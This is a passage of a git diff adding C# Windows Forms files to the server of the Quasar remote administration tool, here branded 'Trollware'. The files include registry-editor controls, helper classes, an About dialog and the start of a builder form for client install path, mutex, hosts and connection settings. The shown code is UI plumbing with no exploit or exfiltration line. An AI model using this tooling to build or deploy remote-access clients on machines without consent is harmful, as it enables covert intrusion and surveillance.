lock (_imageLock) + { + if (GetImageSafe != null) + { + pe.Graphics.DrawImage(GetImageSafe, Location); + } + } + } + + private void UpdateScreenSize(int newWidth, int newHeight) + { + ScreenWidth = newWidth; + ScreenHeight = newHeight; + } + + private void CountFps() + { + var deltaTime = (float)_sWatch.Elapsed.TotalSeconds; + _sWatch = Stopwatch.StartNew(); + + _frameCounter.Update(deltaTime); + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Controls/RegistryTreeView.cs b/Quasar.Server/Controls/RegistryTreeView.cs new file mode 100644 index 0000000..13aabd0 --- /dev/null +++ b/Quasar.Server/Controls/RegistryTreeView.cs @@ -0,0 +1,13 @@ +using System.Windows.Forms; + +namespace Quasar.Server.Controls +{ + public class RegistryTreeView : TreeView + { + public RegistryTreeView() + { + //Enable double buffering and ignore WM_ERASEBKGND to reduce flicker + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + } + } +} diff --git a/Quasar.Server/Controls/RegistryValueLstItem.cs b/Quasar.Server/Controls/RegistryValueLstItem.cs new file mode 100644 index 0000000..050c133 --- /dev/null +++ b/Quasar.Server/Controls/RegistryValueLstItem.cs @@ -0,0 +1,72 @@ +using System.Windows.Forms; +using Quasar.Common.Models; +using Quasar.Server.Extensions; +using Quasar.Server.Registry; + +namespace Quasar.Server.Controls +{ + public class RegistryValueLstItem : ListViewItem + { + private string _type { get; set; } + private string _data { get; set; } + + public string RegName { + get { return this.Name; } + set + { + this.Name = value; + this.Text = RegValueHelper.GetName(value); + } + } + public string Type { + get { return _type; } + set + { + _type = value; + + if (this.SubItems.Count < 2) + this.SubItems.Add(_type); + else + this.SubItems[1].Text = _type; + + this.ImageIndex = GetRegistryValueImgIndex(_type); + } + } + + public string Data { + get { return _data; } + set + { + _data = value; + + if (this.SubItems.Count < 3) + this.SubItems.Add(_data); + else + this.SubItems[2].Text = _data; + } + } + + public RegistryValueLstItem(RegValueData value) + { + RegName = value.Name; + Type = value.Kind.RegistryTypeToString(); + Data = RegValueHelper.RegistryValueToString(value); + } + + private int GetRegistryValueImgIndex(string type) + { + switch (type) + { + case "REG_MULTI_SZ": + case "REG_SZ": + case "REG_EXPAND_SZ": + return 0; + case "REG_BINARY": + case "REG_DWORD": + case "REG_QWORD": + default: + return 1; + } + } + } +} diff --git a/Quasar.Server/Controls/WordTextBox.Designer.cs b/Quasar.Server/Controls/WordTextBox.Designer.cs new file mode 100644 index 0000000..21dc61d --- /dev/null +++ b/Quasar.Server/Controls/WordTextBox.Designer.cs @@ -0,0 +1,36 @@ +namespace Quasar.Server.Controls +{ + partial class WordTextBox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + } + + #endregion + } +} diff --git a/Quasar.Server/Controls/WordTextBox.cs b/Quasar.Server/Controls/WordTextBox.cs new file mode 100644 index 0000000..62a0368 --- /dev/null +++ b/Quasar.Server/Controls/WordTextBox.cs @@ -0,0 +1,171 @@ +using System; +using System.Globalization; +using System.Windows.Forms; +using Quasar.Server.Enums; + +namespace Quasar.Server.Controls +{ + public partial class WordTextBox : TextBox + { + private bool isHexNumber; + private WordType type; + + public override int MaxLength + { + get + { + return base.MaxLength; + } + set { } + } + + public bool IsHexNumber + { + get { return isHexNumber; } + set + { + if (isHexNumber == value) + return; + + if(value) + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString("x"); + else + Text = ULongValue.ToString("x"); + } + else + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString(); + else + Text = ULongValue.ToString(); + } + + isHexNumber = value; + + UpdateMaxLength(); + } + } + + public WordType Type + { + get { return type; } + set + { + if (type == value) + return; + + type = value; + + UpdateMaxLength(); + } + } + + public uint UIntValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt32.Parse(Text, NumberStyles.HexNumber); + else + return UInt32.Parse(Text); + } + catch (Exception) + { + return UInt32.MaxValue; + } + } + } + + public ulong ULongValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt64.Parse(Text, NumberStyles.HexNumber); + else + return UInt64.Parse(Text); + } + catch (Exception) + { + return UInt64.MaxValue; + } + } + } + + public bool IsConversionValid() + { + if (String.IsNullOrEmpty(Text)) + return true; + + if (!IsHexNumber) + { + return ConvertToHex(); + } + return true; + } + + public WordTextBox() + { + InitializeComponent(); + base.MaxLength = 8; + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + base.OnKeyPress(e); + e.Handled = !IsValidChar(e.KeyChar); + } + + private bool IsValidChar(char ch) + { + return (Char.IsControl(ch) || + Char.IsDigit(ch) || + (IsHexNumber && Char.IsLetter(ch) && Char.ToLower(ch) <= 'f')); + } + + private void UpdateMaxLength() + { + if(Type == WordType.DWORD) + { + if (IsHexNumber) + base.MaxLength = 8; + else + base.MaxLength = 10; + } + else + { + if (IsHexNumber) + base.MaxLength = 16; + else + base.MaxLength = 20; + } + } + + + private bool ConvertToHex() + { + try + { + if (Type == WordType.DWORD) + UInt32.Parse(Text); + else + UInt64.Parse(Text); + return true; + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Quasar.Server/Enums/TransferType.cs b/Quasar.Server/Enums/TransferType.cs new file mode 100644 index 0000000..ba161bd --- /dev/null +++ b/Quasar.Server/Enums/TransferType.cs @@ -0,0 +1,8 @@ +namespace Quasar.Server.Enums +{ + public enum TransferType + { + Upload, + Download + } +} diff --git a/Quasar.Server/Enums/WordType.cs b/Quasar.Server/Enums/WordType.cs new file mode 100644 index 0000000..ee6cd1b --- /dev/null +++ b/Quasar.Server/Enums/WordType.cs @@ -0,0 +1,8 @@ +namespace Quasar.Server.Enums +{ + public enum WordType + { + DWORD, + QWORD + } +} diff --git a/Quasar.Server/Extensions/ListViewExtensions.cs b/Quasar.Server/Extensions/ListViewExtensions.cs new file mode 100644 index 0000000..5a718d5 --- /dev/null +++ b/Quasar.Server/Extensions/ListViewExtensions.cs @@ -0,0 +1,36 @@ +using Quasar.Common.Helpers; +using Quasar.Server.Helper; +using Quasar.Server.Utilities; +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Extensions +{ + public static class ListViewExtensions + { + private const uint SET_COLUMN_WIDTH = 4126; + private static readonly IntPtr AUTOSIZE_USEHEADER = new IntPtr(-2); + + /// + /// Automatically determines the correct column size on the the given listview. + /// + /// The listview whose columns are to be autosized. + public static void AutosizeColumns(this ListView targetListView) + { + if (PlatformHelper.RunningOnMono) return; + for (int lngColumn = 0; lngColumn <= (targetListView.Columns.Count - 1); lngColumn++) + { + NativeMethods.SendMessage(targetListView.Handle, SET_COLUMN_WIDTH, new IntPtr(lngColumn), AUTOSIZE_USEHEADER); + } + } + + /// + /// Selects all items on the given listview. + /// + /// The listview whose items are to be selected. + public static void SelectAllItems(this ListView targetListView) + { + NativeMethodsHelper.SetItemState(targetListView.Handle, -1, 2, 2); + } + } +} \ No newline at end of file diff --git a/Quasar.Server/Extensions/RegistryKeyExtensions.cs b/Quasar.Server/Extensions/RegistryKeyExtensions.cs new file mode 100644 index 0000000..1baad3f --- /dev/null +++ b/Quasar.Server/Extensions/RegistryKeyExtensions.cs @@ -0,0 +1,55 @@ +using System; +using Microsoft.Win32; + +namespace Quasar.Server.Extensions +{ + public static class RegistryKeyExtensions + { + public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData) + { + if (valueData == null) + return "(value not set)"; + + switch (valueKind) + { + case RegistryValueKind.Binary: + return ((byte[])valueData).Length > 0 ? BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower() : "(zero-length binary value)"; + case RegistryValueKind.MultiString: + return string.Join(" ", (string[])valueData); + case RegistryValueKind.DWord: //Convert with hexadecimal before int + return String.Format("0x{0} ({1})", ((uint)((int)valueData)).ToString("x8"), ((uint)((int)valueData)).ToString()); + case RegistryValueKind.QWord: + return String.Format("0x{0} ({1})", ((ulong)((long)valueData)).ToString("x8"), ((ulong)((long)valueData)).ToString()); + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return valueData.ToString(); + case RegistryValueKind.Unknown: + default: + return string.Empty; + } + } + + public static string RegistryTypeToString(this RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.Binary: + return "REG_BINARY"; + case RegistryValueKind.MultiString: + return "REG_MULTI_SZ"; + case RegistryValueKind.DWord: + return "REG_DWORD"; + case RegistryValueKind.QWord: + return "REG_QWORD"; + case RegistryValueKind.String: + return "REG_SZ"; + case RegistryValueKind.ExpandString: + return "REG_EXPAND_SZ"; + case RegistryValueKind.Unknown: + return "(Unknown)"; + default: + return "REG_NONE"; + } + } + } +} diff --git a/Quasar.Server/Forms/FrmAbout.Designer.cs b/Quasar.Server/Forms/FrmAbout.Designer.cs new file mode 100644 index 0000000..0794fe0 --- /dev/null +++ b/Quasar.Server/Forms/FrmAbout.Designer.cs @@ -0,0 +1,153 @@ +namespace Quasar.Server.Forms +{ + partial class FrmAbout + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + components.Dispose(); + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmAbout)); + this.lblTitle = new System.Windows.Forms.Label(); + this.lblSubTitle = new System.Windows.Forms.Label(); + this.lblVersion = new System.Windows.Forms.Label(); + this.lblSep = new System.Windows.Forms.Label(); + this.lblCredits1 = new System.Windows.Forms.Label(); + this.lblRole1 = new System.Windows.Forms.Label(); + this.lblCredits2 = new System.Windows.Forms.Label(); + this.lblRole2 = new System.Windows.Forms.Label(); + this.btnOkay = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblTitle.Location = new System.Drawing.Point(12, 12); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.TabIndex = 1; + this.lblTitle.Text = "Trollware"; + // + // lblSubTitle + // + this.lblSubTitle.AutoSize = true; + this.lblSubTitle.Font = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblSubTitle.Location = new System.Drawing.Point(14, 46); + this.lblSubTitle.Name = "lblSubTitle"; + this.lblSubTitle.TabIndex = 2; + this.lblSubTitle.Text = "Credits"; + // + // lblVersion + // + this.lblVersion.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblVersion.Location = new System.Drawing.Point(150, 46); + this.lblVersion.Name = "lblVersion"; + this.lblVersion.Size = new System.Drawing.Size(60, 13); + this.lblVersion.TabIndex = 3; + this.lblVersion.Text = "%VERSION%"; + this.lblVersion.TextAlign = System.Drawing.ContentAlignment.TopRight; + // + // lblSep — divider line + // + this.lblSep.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; + this.lblSep.Location = new System.Drawing.Point(12, 86); + this.lblSep.Name = "lblSep"; + this.lblSep.Size = new System.Drawing.Size(280, 2); + this.lblSep.TabIndex = 4; + // + // lblCredits1 (@shixvx) + // + this.lblCredits1.AutoSize = true; + this.lblCredits1.Font = new System.Drawing.Font("Segoe UI", 11F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblCredits1.Location = new System.Drawing.Point(12, 104); + this.lblCredits1.Name = "lblCredits1"; + this.lblCredits1.TabIndex = 5; + this.lblCredits1.Text = "@shixvx"; + // + // lblRole1 + // + this.lblRole1.AutoSize = true; + this.lblRole1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblRole1.Location = new System.Drawing.Point(14, 128); + this.lblRole1.Name = "lblRole1"; + this.lblRole1.TabIndex = 6; + this.lblRole1.Text = "everything else"; + // + // lblCredits2 (@zwclose) + // + this.lblCredits2.AutoSize = true; + this.lblCredits2.Font = new System.Drawing.Font("Segoe UI", 11F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblCredits2.Location = new System.Drawing.Point(12, 158); + this.lblCredits2.Name = "lblCredits2"; + this.lblCredits2.TabIndex = 7; + this.lblCredits2.Text = "@zwclose"; + // + // lblRole2 + // + this.lblRole2.AutoSize = true; + this.lblRole2.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblRole2.Location = new System.Drawing.Point(14, 182); + this.lblRole2.Name = "lblRole2"; + this.lblRole2.TabIndex = 8; + this.lblRole2.Text = "some ideas"; + // + // btnOkay + // + this.btnOkay.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.btnOkay.Location = new System.Drawing.Point(217, 205); + this.btnOkay.Name = "btnOkay"; + this.btnOkay.Size = new System.Drawing.Size(75, 23); + this.btnOkay.TabIndex = 9; + this.btnOkay.Text = "&Okay"; + this.btnOkay.UseVisualStyleBackColor = true; + this.btnOkay.Click += new System.EventHandler(this.btnOkay_Click); + // + // FrmAbout + // + this.AcceptButton = this.btnOkay; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.btnOkay; + this.ClientSize = new System.Drawing.Size(304, 240); + this.Controls.Add(this.lblTitle); + this.Controls.Add(this.lblSubTitle); + this.Controls.Add(this.lblVersion); + this.Controls.Add(this.lblSep); + this.Controls.Add(this.lblCredits1); + this.Controls.Add(this.lblRole1); + this.Controls.Add(this.lblCredits2); + this.Controls.Add(this.lblRole2); + this.Controls.Add(this.btnOkay); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmAbout"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Trollware - Credits"; + this.ResumeLayout(false); + this.PerformLayout(); + } + + #endregion + + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblSubTitle; + private System.Windows.Forms.Label lblVersion; + private System.Windows.Forms.Label lblSep; + private System.Windows.Forms.Label lblCredits1; + private System.Windows.Forms.Label lblRole1; + private System.Windows.Forms.Label lblCredits2; + private System.Windows.Forms.Label lblRole2; + private System.Windows.Forms.Button btnOkay; + } +} diff --git a/Quasar.Server/Forms/FrmAbout.cs b/Quasar.Server/Forms/FrmAbout.cs new file mode 100644 index 0000000..4b1cdcc --- /dev/null +++ b/Quasar.Server/Forms/FrmAbout.cs @@ -0,0 +1,19 @@ +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmAbout : Form + { + public FrmAbout() + { + InitializeComponent(); + lblVersion.Text = $"v{Application.ProductVersion}"; + } + + private void btnOkay_Click(object sender, EventArgs e) + { + this.Close(); + } + } +} diff --git a/Quasar.Server/Forms/FrmAbout.resx b/Quasar.Server/Forms/FrmAbout.resx new file mode 100644 index 0000000..1af8dfb --- /dev/null +++ b/Quasar.Server/Forms/FrmAbout.resx @@ -0,0 +1,197 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 0v+lzuP/2e3w/9nf8P/PweT/5tnb/3at3P8giuH/K4vf/i6L4P83jdvnVZnuDwAAAAAA//8Bf///AgAA + AABDqug5NK7w/TG09f8xuff+Mr36/y+8+f9u1f3/ld/2/8WHh/92d5//IL7//yVb+P8dE/T/IiPu/yIi + 5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmBuilder.Designer.cs b/Quasar.Server/Forms/FrmBuilder.Designer.cs new file mode 100644 index 0000000..a9399fa --- /dev/null +++ b/Quasar.Server/Forms/FrmBuilder.Designer.cs @@ -0,0 +1,1192 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmBuilder + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmBuilder)); + this.btnBuild = new System.Windows.Forms.Button(); + this.tooltip = new System.Windows.Forms.ToolTip(this.components); + this.picUAC2 = new System.Windows.Forms.PictureBox(); + this.picUAC1 = new System.Windows.Forms.PictureBox(); + this.rbSystem = new System.Windows.Forms.RadioButton(); + this.rbProgramFiles = new System.Windows.Forms.RadioButton(); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.removeHostToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.clearToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.builderTabs = new Quasar.Server.Controls.DotNetBarTabControl(); + this.generalPage = new System.Windows.Forms.TabPage(); + this.label9 = new System.Windows.Forms.Label(); + this.line6 = new Quasar.Server.Controls.Line(); + this.label8 = new System.Windows.Forms.Label(); + this.txtTag = new System.Windows.Forms.TextBox(); + this.label7 = new System.Windows.Forms.Label(); + this.lblTag = new System.Windows.Forms.Label(); + this.txtMutex = new System.Windows.Forms.TextBox(); + this.btnMutex = new System.Windows.Forms.Button(); + this.line5 = new Quasar.Server.Controls.Line(); + this.lblMutex = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.connectionPage = new System.Windows.Forms.TabPage(); + this.numericUpDownPort = new System.Windows.Forms.NumericUpDown(); + this.numericUpDownDelay = new System.Windows.Forms.NumericUpDown(); + this.line3 = new Quasar.Server.Controls.Line(); + this.label4 = new System.Windows.Forms.Label(); + this.line1 = new Quasar.Server.Controls.Line(); + this.label1 = new 